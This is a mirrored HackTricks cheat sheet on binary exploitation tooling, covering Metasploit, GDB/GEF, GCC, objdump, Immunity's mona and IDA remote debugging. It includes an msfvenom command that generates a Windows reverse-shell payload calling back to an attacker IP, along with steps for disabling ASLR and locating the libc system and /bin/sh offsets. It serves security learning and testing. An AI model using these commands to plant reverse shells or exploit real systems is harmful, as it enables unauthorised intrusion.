mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
183 lines
6.4 KiB
Markdown
183 lines
6.4 KiB
Markdown
# Exploiting Tools
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## Metasploit
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```text
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pattern_create.rb -l 3000 #Length
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pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
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nasm_shell.rb
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nasm> jmp esp #Get opcodes
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msfelfscan -j esi /opt/fusion/bin/level01
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```
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### Shellcodes
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```text
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msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
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```
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## GDB
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### Install
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```text
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apt-get install gdb
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```
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### Parameters
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**-q** --> No show banner
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**-x <file>** --> Auto-execute GDB instructions from here
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**-p <pid>** --> Attach to process
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#### Instructions
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> **disassemble main** --> Disassemble the function
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> **disassemble 0x12345678**
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> **set disassembly-flavor intel**
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> **set follow-fork-mode child/parent** --> Follow created process
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> **p system** --> Find the address of the system function
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> **help**
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> **quit**
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> **br func** --> Add breakpoint to function
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> **br \*func+23**
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> **br \*0x12345678
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> del NUM** --> Delete that number of br
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> **watch EXPRESSION** --> Break if the value changes
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**> run** --> Execute
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**> start** --> Start and break in main
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> **n/next** --> Execute next instruction \(no inside\)
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> **s/step** --> Execute next instruction
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> **c/continue** --> Continue until next breakpoint
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> **set $eip = 0x12345678** --> Change value of $eip
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> **info functions** --> Info abount functions
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> **info functions func** --> Info of the funtion
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> **info registers** --> Value of the registers
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> **bt** --> Stack
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> **bt full** --> Detailed stack
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> **print variable**
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> **print 0x87654321 - 0x12345678** --> Caculate
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> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii
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* **x/o 0xDir\_hex**
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* **x/2x $eip** --> 2Words from EIP
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* **x/2x $eip -4** --> $eip - 4
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* **x/8xb $eip** --> 8 bytes \(b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes\)
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* **i r eip** --> Value of $eip
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* **x/w pointer** --> Value of the pointer
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* **x/s pointer** --> String pointed by the pointer
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* **x/xw &pointer** --> Address where the pointer is located
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* **x/i $eip** —> Instructions of the EIP
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### [GEF](https://github.com/hugsy/gef)
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```bash
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checksec #Check protections
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p system #Find system function address
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search-pattern "/bin/sh" #Search in the process memory
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vmmap #Get memory mappings
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#Shellcode
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shellcode search x86 #Search shellcodes
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shellcode get 61 #Download shellcode number 61
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#Patterns
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pattern create 200 #Generate length 200 pattern
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pattern search "avaaawaa" #Search for the offset of that substring
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pattern search $rsp #Search the offset given the content of $rsp
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```
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### Tricks
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#### GDB same addresses
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While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
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* `unset env LINES`
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* `unset env COLUMNS`
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* `set env _=<path>` _Put the absolute path to the binary_
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* Exploit the binary using the same absolute route
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* `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
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#### Backtrace to find functions called
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When you have a **statically linked binary** all the functions will belong to the binary \(and no to external libraries\). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.
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You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** \(**backtrace**\) command to see the functions called:
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```text
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gef➤ bt
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#0 0x00000000004498ae in ?? ()
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#1 0x0000000000400b90 in ?? ()
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#2 0x0000000000400c1d in ?? ()
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#3 0x00000000004011a9 in ?? ()
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#4 0x0000000000400a5a in ?? ()
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```
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### GDB server
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`gdbserver --multi 0.0.0.0:23947` \(in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine\)
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## GCC
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**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections
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**-o** --> Output
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**-g** --> Save code \(GDB will be able to see it\)
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**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux
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**To compile a shellcode:
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nasm -f elf assembly.asm** --> return a ".o"
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**ld assembly.o -o shellcodeout** --> Executable
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## Objdump
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**-d** --> Disassemble executable sections \(see opcodes of a compiled shellcode, find ROP Gadgets, find function address...\)
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**-Mintel** --> Intel sintax
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**-t** --> Symbols table \(grep varBSS to get the address\)
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**-D** --> Disassemble all \(address of static variable\)
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**-s -j .dtors** --> Contenido de dtors
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**-s -j .got** --> Contenido de got
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**-TR** --> Relocations
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**ojdump -t --dynamic-relo ./exec \| grep puts** --> Address of "puts" to modify in GOT
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**objdump -TR ./exec \| grep exit\(func lib\)** —> Get address of all the functions inside the GOT
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## Core dumps
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1. Run `ulimit -c unlimited` before starting my program
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2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
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3. sudo gdb --core=<path/core> --quiet
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## More
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**ldd executable \| grep libc.so.6** --> Address \(if ASLR, then this change every time\)
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**for i in \`seq 0 20\`; do ldd <Ejecutable> \| grep libc; done** --> Loop to see if the address changes a lot
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**readelf -s /lib/i386-linux-gnu/libc.so.6 \| grep system** --> Offset of "system"
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**strings -a -t x /lib/i386-linux-gnu/libc.so.6 \| grep /bin/sh** --> Offset of "/bin/sh"
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**strace executable** --> Functions called by the executable
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**rabin2 -i ejecutable -->** Address of all the functions
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## **Inmunity debugger**
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```bash
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!mona modules #Get protections, look for all false except last one (Dll of SO)
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!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
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```
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## IDA
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### Debugging in remote linux
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Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:
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```text
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./linux_server64 -Ppass
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```
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Then, configure the debugger: Debugger \(linux remote\) --> Proccess options...:
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